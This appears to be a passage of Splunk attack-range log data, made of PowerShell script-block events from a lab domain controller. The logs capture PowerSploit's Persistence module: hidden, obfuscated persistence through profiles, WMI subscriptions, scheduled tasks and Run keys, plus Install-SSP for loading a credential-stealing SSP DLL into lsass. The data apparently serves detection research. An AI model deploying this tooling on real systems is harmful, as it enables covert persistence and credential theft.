[Int16], 'Public') $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public') $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public') $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public') $SecPkgInfo = $TypeBuilder.CreateType() $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages', 'secur32.dll', 'Public, Static', [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([Int32].MakeByRefType(), [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $Secur32 = $TypeBuilder.CreateType() $PackageCount = 0 $PackageArrayPtr = [IntPtr]::Zero $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr) if ($Result -ne 0) { throw ""Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))"" } if ($PackageCount -eq 0) { Write-Verbose 'There are no installed security packages.' return } $StructAddress = $PackageArrayPtr foreach ($i in 1..$PackageCount) { $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo) $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo)) $Name = $null if ($SecPackageStruct.Name -ne [IntPtr]::Zero) { $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name) } $Comment = $null if ($SecPackageStruct.Comment -ne [IntPtr]::Zero) { $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment) } $Attributes = @{ Name = $Name Comment = $Comment Capabilities = $SecPackageStruct.fCapabilities MaxTokenSize = $SecPackageStruct.cbMaxToken } $SecPackage = New-Object PSObject -Property $Attributes $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO' $SecPackage } }",,,,,,,,,,,"'2022-05-02T18:24:38.745672300Z'","4104132150x0122451Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122451Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local33l = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.' } # Resolve the full path if a relative path was provided. $FullDllPath = Resolve-Path $Path # Helper function used to determine the dll architecture function local:Get-PEArchitecture { Param ( [Parameter( Position = 0, Mandatory = $True )] [String] $Path ) # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $lfanew = New-Object Byte[](4) # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') $FileStream.Close() if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } if ($Architecture -eq '014C') { Write-Output '32-bit' } elseif ($Architecture -eq '8664') { Write-Output '64-bit' } else { Write-Output 'Other' } } $DllArchitecture = Get-PEArchitecture $FullDllPath $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture if ($DllArchitecture -ne $OSArch) { throw 'The operating system architecture must match the architecture of the SSP dll.' } $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name # Get the dll filename without the extension. # This will be added to the registry. $DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} } # Enumerate all of the currently installed SSPs $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages' if ($SecurityPackages -contains $DllName) { throw ""'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages."" } # In case you're running 32-bit PowerShell on a 64-bit OS $NativeInstallDir = ""$($Env:windir)\Sysnative"" if (Test-Path $NativeInstallDir) { $InstallDir = $NativeInstallDir } else { $InstallDir = ""$($Env:windir)\System32"" } if (Test-Path (Join-Path $InstallDir $Dll)) { throw ""$Dll is already installed in $InstallDir."" } # If you've made it this far, you are clear to install the SSP dll. Copy-Item $FullDllPath $InstallDir $SecurityPackages += $DllName Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False) $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage', 'secur32.dll', 'Public, Static', [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([String], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $Secur32 = $TypeBuilder.CreateType() if ([IntPtr]::Size -eq 4) { $StructSize = 20 } else { $StructSize = 24 } $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize) $RuntimeSuccess = $True try { $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) } catch { $HResult = $Error[0].Exception.InnerException.HResult Write-Warning ""Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))"" Write-Warning ""Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"" $RuntimeSuccess = $False } if ($RuntimeSuccess) { Write-Verbose 'Installation and loading complete!' } else { Write-Verbose 'Installation complete! Reboot for changes to take effect.' } } function Get-SecurityPackage { <# .SYNOPSIS Enumerates all loaded security packages (SSPs). Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. It also parses the returned SecPkgInfo struct array. .EXAMPLE Get-SecurityPackage #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [CmdletBinding()] Param() #region P/Invoke declarations for secur32.dll $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False) $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32]) $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) $null = $EnumBuilder.DefineLiteral('INTEGRITY', 1) $null = $EnumBuilder.DefineLiteral('PRIVACY', 2) $null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4) $null = $EnumBuilder.DefineLiteral('DATAGRAM', 8) $null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10) $null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20) $null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40) $null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80) $null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100) $null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200) $null = $EnumBuilder.DefineLiteral('STREAM', 0x400) $null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800) $null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000) $null = $EnumBuilder.DefineLiteral('LOGON', 0x2000) $null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000) $null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000) $null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000) $null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000) $null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000) $null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000) $null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000) $null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000) $null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000) $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000) $SECPKG_FLAG = $EnumBuilder.CreateType() $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8) $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public') $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public') $null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public') $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public') $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public') $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public') $SecPkgInfo = $TypeBuilder.CreateType() $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages', 'secur32.dll', 'Public, Static', [Reflection.CallingConventions]::Standard, [Int32], [Type[]] @([Int32].MakeByRefType(), [IntPtr].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Ansi) $Secur32 = $TypeBuilder.CreateType() $PackageCount = 0 $PackageArrayPtr = [IntPtr]::Zero $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr) if ($Result -ne 0) { throw ""Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))"" } if ($PackageCount -eq 0) { Write-Verbose 'There are no installed security packages.' return } $StructAddress = $PackageArrayPtr foreach ($i in 1..$PackageCount) { $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo) $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo)) $Name = $null if ($SecPackageStruct.Name -ne [IntPtr]::Zero) { $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name) } $Comment = $null if ($SecPackageStruct.Comment -ne [IntPtr]::Zero) { $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment) } $Attributes = @{ Name = $Name Comment = $Comment Capabilities = $SecPackageStruct.fCapabilities MaxTokenSize = $SecPackageStruct.cbMaxToken } $SecPackage = New-Object PSObject -Property $Attributes $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO' $SecPackage } } 2bf3fb48-5590-4142-bc16-78ae39631d05C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1","2022-05-02T18:24:38.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122451,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122451,win,300,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0006-6E5B-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"23aram ( [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] $ScriptBlock, [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )] [ValidateNotNullOrEmpty()] [Alias('Path')] [String] $FilePath, [Parameter( Mandatory = $True )] $ElevatedPersistenceOption, [Parameter( Mandatory = $True )] $UserPersistenceOption, [ValidateNotNullOrEmpty()] [String] $PersistenceScriptName = 'Update-Windows', [String] $PersistentScriptFilePath = ""$PWD\Persistence.ps1"", [String] $RemovalScriptFilePath = ""$PWD\RemovePersistence.ps1"", [Switch] $DoNotPersistImmediately, [Switch] $PassThru ) Set-StrictMode -Version 2 #region Validate arguments if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption') { throw 'You provided invalid elevated persistence options.' } if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption') { throw 'You provided invalid user-level persistence options.' } $Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue if ($Result -and $Result.PSIsContainer) { throw 'You must provide a file name with the PersistentScriptFilePath option.' } $Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue if ($Result -and $Result.PSIsContainer) { throw 'You must provide a file name with the RemovalScriptFilePath option.' } $PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop $PersistentScriptFile = '' $RemovalScriptFile = '' if ($PersistentPath -eq '') { # i.e. Only a file name was provided implying $PWD $PersistentScriptFile = ""$($PWD)\$($Leaf)"" } else { $PersistentScriptFile = ""$(Resolve-Path $PersistentPath)\$($Leaf)"" } $RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop if ($RemovalPath -eq '') { # i.e. Only a file name was provided implying $PWD $RemovalScriptFile = ""$($PWD)\$($Leaf)"" } else { $RemovalScriptFile = ""$(Resolve-Path $RemovalPath)\$($Leaf)"" } if ($PSBoundParameters['FilePath']) { $null = Get-ChildItem $FilePath -ErrorAction Stop $Script = [IO.File]::ReadAllText((Resolve-Path $FilePath)) } else { $Script = $ScriptBlock } #endregion #region Initialize data $UserTrigger = '' $UserTriggerRemoval = '' $ElevatedTrigger = ""''"" $ElevatedTriggerRemoval = '' $UserTrigger = ""''"" $UserTriggerRemoval = '' $CommandLine = '' #endregion #region Compress the original payload in preparation for the persistence script $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script) $CompressedStream = New-Object IO.MemoryStream $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) $DeflateStream.Dispose() $CompressedScriptBytes = $CompressedStream.ToArray() $CompressedStream.Dispose() $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) # Generate the code that will decompress and execute the payload. # This code is intentionally ugly to save space. $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + ""'$EncodedCompressedScript'"" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' #endregion #region Process persistence options # Begin processing elevated persistence options switch ($ElevatedPersistenceOption.Method) { 'PermanentWMI' { $ElevatedTriggerRemoval = { Get-WmiObject __eventFilter -namespace root\subscription -filter ""name='Updater'""| Remove-WmiObject Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter ""name='Updater'"" | Remove-WmiObject Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject } switch ($ElevatedPersistenceOption.Trigger) { 'AtStartup' { $ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"""" } 'Daily' { $ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`"""" } default { throw 'Invalid elevated persistence options provided!' } } } 'ScheduledTask' { $CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""' $ElevatedTriggerRemoval = ""schtasks /Delete /TN Updater"" switch ($ElevatedPersistenceOption.Trigger) { 'AtLogon' { $ElevatedTrigger = ""schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "" } 'Daily' { $ElevatedTrigger = ""schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "" } 'Hourly' { $ElevatedTrigger = ""schtasks /Create /RU system /SC HOURLY /TN Updater /TR "" } 'OnIdle' { $ElevatedTrigger = ""schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "" } default { throw 'Invalid elevated persistence options provided!' } } $ElevatedTrigger = '""' + $ElevatedTrigger + $CommandLine + '""' } 'Registry' { $ElevatedTrigger = ""New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "" $ElevatedTriggerRemoval = ""Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"" $CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`"""" $ElevatedTrigger = ""'"" + $ElevatedTrigger + $CommandLine + ""'"" } default { throw 'Invalid elevated persistence options provided!' } } # Begin processing user-level persistence options switch ($UserPersistenceOption.Method) { 'ScheduledTask' { $CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""' $UserTriggerRemoval = ""schtasks /Delete /TN Updater"" switch ($UserPersistenceOption.Trigger) { 'Daily' { $UserTrigger = ""schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "" } 'Hourly' { $UserTrigger = ""schtasks /Create /SC HOURLY /TN Updater /TR "" } 'OnIdle' { $UserTrigger = ""schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "" } default { throw 'Invalid user-level persistence options provided!' } } $UserTrigger = '""' + $UserTrigger + $CommandLine + '""' } 'Registry' { $UserTrigger = ""New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "" $UserTriggerRemoval = ""Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"" $CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`"""" $UserTrigger = ""'"" + $UserTrigger + $CommandLine + ""'"" } default { throw 'Invalid user-level persistence options provided!' } } #endregion #region Original script with its persistence logic will reside here # This is intentionally ugly in the interest of saving space on the victim machine. $PersistantScript = { function FUNCTIONNAME{ Param([Switch]$Persist) $ErrorActionPreference='SilentlyContinue' $Script={ORIGINALSCRIPT} if($Persist){ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} else {$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} mkdir (Split-Path -Parent $Prof) (gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo iex $Payload|Out-Null Write-Output $Payload} else {$Script.Invoke()} } EXECUTEFUNCTION } $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName) $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript) $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger) $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger) if ($DoNotPersistImmediately) { $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '') } else { $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', ""$PersistenceScriptName -Persist"") } #endregion #region Generate final output # Generate the persistence removal script $PersistenceRemoval = @"" # Execute the following to remove the elevated persistent payload $ElevatedTriggerRemoval (gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo # Execute the following to remove the user-level persistent payload $UserTriggerRemoval (gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo ""@ $PersistantScript | Out-File $PersistentScriptFile Write-Verbose ""Persistence script written to $PersistentScriptFile"" $PersistenceRemoval | Out-File $RemovalScriptFile Write-Verbose ""Persistence removal script written to $RemovalScriptFile"" if ($PassThru) { # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline. Write-Output ([ScriptBlock]::Create($PersistantScript)) } #endregion } function Install-SSP { <# .SYNOPSIS Installs a security support provider (SSP) dll. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Install-SSP installs an SSP dll. Installation involves copying the dll to %windir%\System32 and adding the name of the dll to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. .PARAMETER Remove Specifies the path to the SSP dll you would like to install. .EXAMPLE Install-SSP -Path .\mimilib.dll .NOTES The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll if you are running a 64-bit OS. In order for the SSP dll to be loaded properly into lsass, the dll must export SpLsaModeInitialize. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')] [CmdletBinding()] Param ( [ValidateScript({Test-Path (Resolve-Path $_)})] [String] $Path ) $Principa2bf3fb48-5590-4142-bc16-78ae39631d05C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1",,4104,122450,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,2,3,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1",,,"'5388'",,,,,,122450,,,,"2bf3fb48-5590-4142-bc16-78ae39631d05","aram ( [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] $ScriptBlock, [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )] [ValidateNotNullOrEmpty()] [Alias('Path')] [String] $FilePath, [Parameter( Mandatory = $True )] $ElevatedPersistenceOption, [Parameter( Mandatory = $True )] $UserPersistenceOption, [ValidateNotNullOrEmpty()] [String] $PersistenceScriptName = 'Update-Windows', [String] $PersistentScriptFilePath = ""$PWD\Persistence.ps1"", [String] $RemovalScriptFilePath = ""$PWD\RemovePersistence.ps1"", [Switch] $DoNotPersistImmediately, [Switch] $PassThru ) Set-StrictMode -Version 2 #region Validate arguments if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption') { throw 'You provided invalid elevated persistence options.' } if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption') { throw 'You provided invalid user-level persistence options.' } $Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue if ($Result -and $Result.PSIsContainer) { throw 'You must provide a file name with the PersistentScriptFilePath option.' } $Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue if ($Result -and $Result.PSIsContainer) { throw 'You must provide a file name with the RemovalScriptFilePath option.' } $PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop $PersistentScriptFile = '' $RemovalScriptFile = '' if ($PersistentPath -eq '') { # i.e. Only a file name was provided implying $PWD $PersistentScriptFile = ""$($PWD)\$($Leaf)"" } else { $PersistentScriptFile = ""$(Resolve-Path $PersistentPath)\$($Leaf)"" } $RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop if ($RemovalPath -eq '') { # i.e. Only a file name was provided implying $PWD $RemovalScriptFile = ""$($PWD)\$($Leaf)"" } else { $RemovalScriptFile = ""$(Resolve-Path $RemovalPath)\$($Leaf)"" } if ($PSBoundParameters['FilePath']) { $null = Get-ChildItem $FilePath -ErrorAction Stop $Script = [IO.File]::ReadAllText((Resolve-Path $FilePath)) } else { $Script = $ScriptBlock } #endregion #region Initialize data $UserTrigger = '' $UserTriggerRemoval = '' $ElevatedTrigger = ""''"" $ElevatedTriggerRemoval = '' $UserTrigger = ""''"" $UserTriggerRemoval = '' $CommandLine = '' #endregion #region Compress the original payload in preparation for the persistence script $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script) $CompressedStream = New-Object IO.MemoryStream $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) $DeflateStream.Dispose() $CompressedScriptBytes = $CompressedStream.ToArray() $CompressedStream.Dispose() $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) # Generate the code that will decompress and execute the payload. # This code is intentionally ugly to save space. $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + ""'$EncodedCompressedScript'"" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' #endregion #region Process persistence options # Begin processing elevated persistence options switch ($ElevatedPersistenceOption.Method) { 'PermanentWMI' { $ElevatedTriggerRemoval = { Get-WmiObject __eventFilter -namespace root\subscription -filter ""name='Updater'""| Remove-WmiObject Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter ""name='Updater'"" | Remove-WmiObject Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject } switch ($ElevatedPersistenceOption.Trigger) { 'AtStartup' { $ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM 